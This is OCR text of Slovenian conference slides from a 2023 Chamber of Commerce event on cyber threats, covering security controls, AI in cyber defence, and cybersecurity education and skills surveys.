
* Verjetnost pojavitve
 Posledice (financne, ugled, operativne)

Gospodarska Zenj

S e KV I K ) ZdruZenje za

@ I zbornica informatiko in
ZdruZenje za informatiko

horizontalna Slovenije telekomunikacije

Komunixkacie



Ocena In analiza - kontrole

* Preventivhe kontrole
* Detektivne kontrole
 Korektivne kontrole

SeKV Gospodarska
zbornica
ZdruZenje za informatiko horizontalna Slovem]e
(n telekomunikacije ~
Kibernetska varnost

ZdruZenje za
informatiko in
telekomunikacije



Ocena in analiza — kontrole primer

Preventivhe kontrole:

* Protivirusna zascita na delovnih postajah
* Protivirusna zascita na streznikih
 Protivirusna zascita na postnem strezniku
* |zobrazevanje in ozavescanje

« Zascita in izolacija pomembnih podatkov

Gospodarska Senij
Se KV I K po ZdruZenje za
@ I zbornica informatiko in
ZdruZenje za informatiko

horizontalna Slovenije telekomunikacije

Komunixkacie



Ocena in analiza — kontrole primer

Detektivne kontrole:

 EDR (endpoint detection and response)

« XDR (Extended detection and response)

« SIEM (Security information and event management)
« SOC (Security Operations Center)

SeKV IK I Tormica Al informatiko:
gl ornica informatiko in
ZdruZenje za informatiko ovenije ¢

Komunixkacie



Ocena in analiza — kontrole primer

Korektivne kontrole:
 Varnostne koplije
« Ekipa za odziv na kibernetske varnostne incidente

SeKV I K I Gtg’s podarska ZdruZenje za
gl ornica informatiko in
ZdruZenje za informatiko horizontalna ovenije telekomunikacije
(n telekomunikacije v
Kibernetska varnost



Zakljuéek

 Osnove
« Pomembnost
 Kibernetska higiena

@ SeKV

ZdruZenje za informatiko

(n telekomunikacije
Kibernetska varnost

IKT

horizontalna

Gospodarska
zbornica
Slovenije

ZdruZenje za
informatiko in
telekomunikacije



Hvala za pozornost!

Marko Zavadlav
marko.zavadlav@astec.si

SEKV I K I Gg)spo_darska ZdruZenje za
zbornica informatiko in
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~Aktualni izzivi in resSitve za podjetja™
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Kaj Al prinasa podrocju kibernetske varnosti?
Primer uporabe Al v obrambnih programih

KONFERENCA: Kako se spopasti z aktualnimi groznjami v kibernetskem prostoru?
Gospodarska zbornica Slovenije
27.10. 2023




e

* CREAPLUS zaposluje vrhunske strokovnjake s podrodja
informacijske varnosti in kriptografije, vkljucene v globalne
obrambne in varnostne projekte.

* Vzdrzujemo visoke standarde varnosti in z lastnimi reSitvami
za kritine naloge na podrocju informacijske varnosti
zmanjSujemo stroSke podjetjem in drugim organizacijam.

* Nase stranke se zanaSajo na nas za podporo pri osrednjih
poslovnih operacijah, za zagotavljanje skladnosti, zascito
podatkov in informacijsko varnost.

utimaco’ cw

Training Center




UMETNA INTELIGENCA IN KIBERNETSKA VARNOST

Umetna inteligenca ze veC kot desetletje spreminja kibernetsko varnost, pri cemer strojno ucenje
pospesuje odkrivanje grozenj in prepoznavanje odstopanj.
Pri uporabi Al je v sredis¢u pomoc ljudem, da delujejo uCinkoviteje, s tem da obCutno zmanjsajo porabo casa,
denarni vlozek in spretnosti, ki so zahtevane za izvajanje nalog.

Prednost tehnologije je v sposobnosti samoucenja, tako da lahko natan¢no napoveduje izid, prepoznava vzorce
in samodejno izvaja prilagoditve na podlagi tako preteklih kot trenutnih informacij.

Normalization ﬂ Integrated Apps

i Correlated
Events

D1

ot
i i
INTERFLOW n g /ctionable

DATA LAKE

SINGLE PANE

TRANSFORMATION OF GLASS

Exportable

SUPERVISED @ Deep Learning unsuPERVISED < RIS ADAPTIVE
MACHINE LEARNING RNN MACHINE LEARNING Analysis LEARNING

Population
Analysis




UMETNA INTELIGENCA IN KIBERNETSKA VARNOST

Razvoj velikih jezikovnih modelov (LLM) je prinesel Al na celo skupnosti kibernetske

varnosti

Modeli strojnega ucenja temeljijo na podatkih in brez ustreznih kolicin ter kakovosti podatkov lahko
model strojnega ucenja ne glede na to, kako dober je v teoriji, postane neuporaben.

To ne zmanjsuje pomena izbire pravih algoritmov strojnega ucenja. Podatki in algoritmi morajo
dopolnjevati drug drugega, da lahko resujejo dolocene uporabne primere.

LLM

Text Inputs

‘ (J creEAPLUS



UMETNA INTELIGENCA IN KIBERNETSKA VARNOST

Razvoj velikih jezikovnih modelov (LLM) je
prinesel Al na celo skupnosti kibernetske
varnosti

Kljub temu da je avtomatizacija zbiranja podatkoy,

njihove normalizacije, odkrivanja in povezovanja ~ A7
mogoca, je za kompleksne napade kljucna "
vkljucitev strokovnjakov s podrocja kibernetske X8 e *
varnosti. @ - KX XK

LLm

Na podrocju kibernetske varnosti je izrednega N /NG
pomena zagotavljanje dobrega konteksta ’
celotnemu nizu podatkov, kar poteka preko : ——
obogatitve podatkov z drugimi informacijami in |
povezovanja vec podatkov v skupni kontekst. *

Zlonamerna uporaba LLMs: kriminalne skupine
uporabljajo LLMs, da povecCajo obseg in hitrost
svojih napadov.

‘ (J creEAPLUS



UMETNA INTELIGENCA IN KIBERNETSKA VARNOST

Pomembni izzivi uporabe Al za kibernetsko varnost
Vzpostavljanje zaupanja
Natancnost in razlozljivost sta kljuCna izziva pri uporabi -
Al. Ce podatki pri treniranju modelov ne predstavljajo i
»resnicnega sveta«, bo model razvil pristranskost, ki

lahko izkrivi njegovo sposobnost zagotavljanja
pricakovanih rezultatov.

Understand

Varnost podatkov | Q

Opredelitev in nadzor nad tem, kateri podatki o - y Y
treniranju se lahko delijo, je bistvenega pomena. V %ﬁ Responsible ML 3""
napacnih rokah bi ti podatki lahko pomagali kriminalnim N

skupinam pri njihovih napadih, da bi spodkopali
zmoznost Al, da prepozna njihove datoteke, aplikacije in

zlonamerno postopanje.

Control Protect

(J creEAPLUS



PRIMER UPORABE Al V OBRAMBNIH PROGRAMIH

Kljucni poudarki
Jasni morajo biti namen in cilji programov:
Premagovanje ovir, specificnih za obrambo in povezanih z avtomatizacijo obvladovanja kibernetskih tveganj.
Razvoj uporabnikom prijaznih programskih resitev za specificno okolje.

Presoje posameznih primerov uporabe
Razli¢ni primeri uporabe Al:
Al podprti procesi samodejnih varnostnih presoj
Avtomatizirano poglobljeno testiranje spletnih aplikacij

Nekateri klju¢ni parametri:
Inovativnost: uvajanje novosti oz. novih funkcionalnosti in dovrSenost resitve
Ustreznost: pomembnost novih zmogljivosti in skladnost s standardi na podrocju obrambe
Moznost validacije: validacija v dejanskem okolju s strani kon¢nih uporabnikov
Tveganja: moznost za nezelene dogodke ali izide

Prisotnost delovnih skupin za eticna, pravna in druzbena vprasanja

Vklju€uje vsa vprasanja in morebitne posledice, ki se pojavljajo pri razvoju nastajajoCe znanosti in tehnologij ter
pri njihovem uveljavljanju v druzbi.

(J creEAPLUS
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Prlhodnost izobrazevanja iz
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Marko Holbl, Lili Nemec Zlatolas, Muhamed Turkanovic¢
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Izobrazevanje iz kibernetske varnosti

 ARRS je (ob podpori URSIV-a), objavila razpis za projekt oblikovanja izobrazevanj (med drugim
tudi studijskega programa) kibernetske varnosti, da bi ta primanijkljaj zmanjsali.

« Studij kibernetske varnosti v Sloveniji

 Informacijska in kibernetska varnost (VS), GEA College

JAVNA AGENCIJA ZA RAZISKOVALNO DEJAVNOST

« Kibernetska varnost (MAG), Fakulteta za informacijske Studije REPUBLIKE SLOVENIJE
_ o _ P REPUBLIKA SLOVENIJA
* Razvoj programov usposabljanj za kibernetsko varnost — RUKIV. %7  URADVLADE REPUBLIKE SLOVENIJE
ZA INFORMACI)SKO VARNOST URSIV

* Pregled pomembnosti kompetenc kibernetske varnosti

* v visokoSolskih Studijskih programih (EU)

« v certificiranju iz podrocja o
[ 1] ‘ "\ ")
- "

 pri slovenskih zaposlovalcih

D s IKT oo it (f% QN v Q)

ZdruZenje za informatiko horizontalna SIovem]e elekomikikaciy:
(n telekomunikacije w
Kibernetska varnost mreza \‘

........



Pregled pomembnosti kompetenc kibernetske
varnosti

+ Kilasifikacija podroc€ij po “Cybersecurity Curricula 2017: Curriculum Guidelines for Post-Secondary Degree
Programmes in Cybersecurity” (slo. Smernice za Studijske programe na podrocju kibernetske varnosti)

» Skupno pripravili ACM, IEEE CS, AIS SIGSEC in IFIP WG 11.8

» Sestavljen iz 8 podrocij, 55 enot in 288 tematik znanja

» VisokoSolsko izobrazevanje

* Vklju€enih nakljucnih 12 Studijskih programov (9,5%) iz CYBERHEAD oz. vsebin za skupno 896 ECTS tocCk

« Certificiranje

* Pregled 10 svetovno najbolj popularnih certificiranj iz podrocja kibernetske varnosti ((ISC)?, ISACA, CompTIA, EC-Council,
GIAC in Offensive Security)

» Slovenski zaposlovalci

* 45 sodelujocCih v anketi med organizacijami, ki se ukvarjajo s kibernetsko varnostjo oz. je pomembna za njihovo delo

(2022)
Gospodarska N
@ sexv IKT & @ zirdejesn,

ZdruZenje za informatiko horizonta[na SIovem]e telekomunikacije
in telekomunikacije v
Kibernetska varnost mreZa



Anketa med zaposlovalci

V katerem sektorju deluje organizacija?
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o
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Kadri kibernetske varnosti med zaposlovalci

» VecC kot 70 % sodelujoCih organizacij ima velike ali pa zelo velike tezave pri pridobivanju
novih kadrov.

« Trenutno Stevilo zaposlenih na podrocCju kibernetske varnosti, in zelje za Stevilo taksnih
zaposlenih Cez 5 let (Graf):
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lzobrazevanje iz kibernetske varnosti med

zaposlovalcl

V kaksni obliki trenutno dodatno usposabljate kader na
podrocju kibernetske varnosti?

Programi usposabljanj (npr. delavnice, seminariji)

Neformalno izobraZzevanje (npr. Coursera, Udemy,...

Certificiranje, tj. programi za pridobitev certifikatov (npr....

Mentorstvo

Izpopolnjevanja (1 leto)

Formalno izobraZzevanje (npr. magistrski studijski...
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V kaksni obliki bi v prihodnje Zeleli, da zaposleni pridobivajo dodatna
znanja in kompetence na podrocju kibernetske varnosti?
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Razlike med rezultati zaposlovalcev glede na
anketirani kader in velikost organizacije

Vodstveni kader

IKT tehniéni kader

Manj kot 100 zaposlenih

Vec kot 100 zaposlenih

Upravljanje identitet
Zasebnost in varnost osebnih
podatkov

Varnost shranjevanja informacij
Varnostno upravljanje in politika
Neprekinjenost, obnova po nesreci
in obvladovanje incidentov

Zasebnost

Nacrtovanje kibernetske varnosti
Zasebnost podatkov

Uporabna varnost in zasebnost

Upravljanje sistemov

Socialni inZeniring
Nadzor sistemov

Upravljanje tveganj

Nadzor dostopa
Zasebnost in varnost osebnih
podatkov

Varnost shranjevanja informacij

Varni komunikacijski protokoli

Osvescenost in razumevanje

Omrezne storitve

Osebna skladnost s
pravili/politiko/ eticnimi normami
Upravljanje identitet

Zasebnost podatkov

Celovitost in overjanje
Obramba omrezij
Temeljna nacela

Neprekinjenost, obnova po nesreci
in obvladovanje incidentov

Varnost shranjevanja informacij

Varni komunikacijski protokoli

Etika

Nadzor dostopa

Zasebnost in varnost osebnih
podatkov

Zasebnost podatkov

OmrezZne storitve
Upravljanje identitet

Celovitost in overjanje

Temeljna nacela

Osvescenost in razumevanje
Zasebnost

Obramba omrezij

Zasebnost in varnost osebnih
podatkov

Upravljanje identitet
Neprekinjenost poslovanja,
obnova po nesreci in obvladovanje
incidentov

Socialni inZeniring

Osvescenost in razumevanje

Varnostno upravljanje in politika

Uporabna varnost in zasebnost
Varnost shranjevanja informacij

Zasebnost podatkov

Osebna skladnost s
pravili/politiko/eti¢nimi normami
kibernetske varnosti

Varnost osebja

Upravljanje sistemov

Upravljanje tveganj




Pomembnost posameznih znanj

* Na podlagi pogostosti 0z. pomembnosti znanj in kompetenc iz evropskih
studijskih programov, najbolj popularnih certificiranj in analize slovenskega
gospodarstva je nastal
naslednji seznam 12
najpomembnejsih znan;.

Obramba omrezij

Nadzor sistemov

Celovitost in overjanje

Nadzor dostopa

Varni komunikacijski protokoli

Upravljanje tveganj

Varnostno upravljanje in politika

Upravljanje identitet
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Varnost shranjevanja informacij

10. Neprekinjenost poslovanja, obnova po nesreci in obvladovanje incidentov

11. Kriptografija

12. Zasebnost in varnost osebnih podatkov
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Mikrodokazila

« Mikrodokazilo (angl. Micro-credential) pomeni zapis uénih izidov, ki jih je
posameznik dosegel z uéenjem manjsega obsega. UcCni izidi so ovrednoteni na
podlagi pregledno in jasno definiranih standardov. Programi so pripravljeni tako,
da opremijo posameznika s specificnim znanjem, spretnostmi in kompetencami, ki
naslavljajo druzbene, osebne, kulturne potrebe oziroma potrebe trga dela.
Mikrodokazila so last posameznikov, ki jih lahko delijo z drugimi in prenasajo
naprej. Lahko so samostojna ali se zdruzujejo v vecja. Podprta so s sistemi za

zagotavljanje kakovosti in sledijo dogovorjenim standardom v sektorjih.
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Mikrodokazila

« Nacrta za okrevanje in odpornost (NOOQO) - pilotni projekti za zelen in odporen
prehod v Druzbo 5.0

* Veliko stevilo projektov, ki pokrivajo zelo razlicha podrocja

« Mikrodokazila lahko dopolnjujejo in spodbujajo izobrazevanje in usposabljanje, ni
pa njihov namen nadomestiti formalnih oblik izobrazevanja

« Spodbujanje prozne ponudbe ucenja, primerljivosti pridobljenih znanj in okrepitev
personalizirane ucne in karierne poti.

« EU clilj je vzpostaviti skupni evropski pristop z enotnimi pravili za oblikovanje,
podeljevanje in opis mikrodokazil
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Mikrodokazila

« Mikrodokazila se Se pripravljajo...

« Zanima nas tudi kaksne so vaSe (gospodarstvo) zelje glede vsebin (iz podrocCja

kibernetske varnosti), obsega ipd.
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https://shorturl.at/gotV3

Univerza v Mariboru

Fakulteta za elektrotehniko,
racunalnistvo in informatiko

Hvala za vaso pozornost!
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Kako se spopastl z aktualnimi
groznjami v kibernetskem
prostoru?

~Aktualni izzivi in resSitve za podjetja™

27. oktober 2023, 9:00-14:00
GZS, Dvorana A
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Zakljucek konference

Mihael Nagelj
predsednik Sekcije za kibernetsko varnost, Zdruzenje za informatiko in
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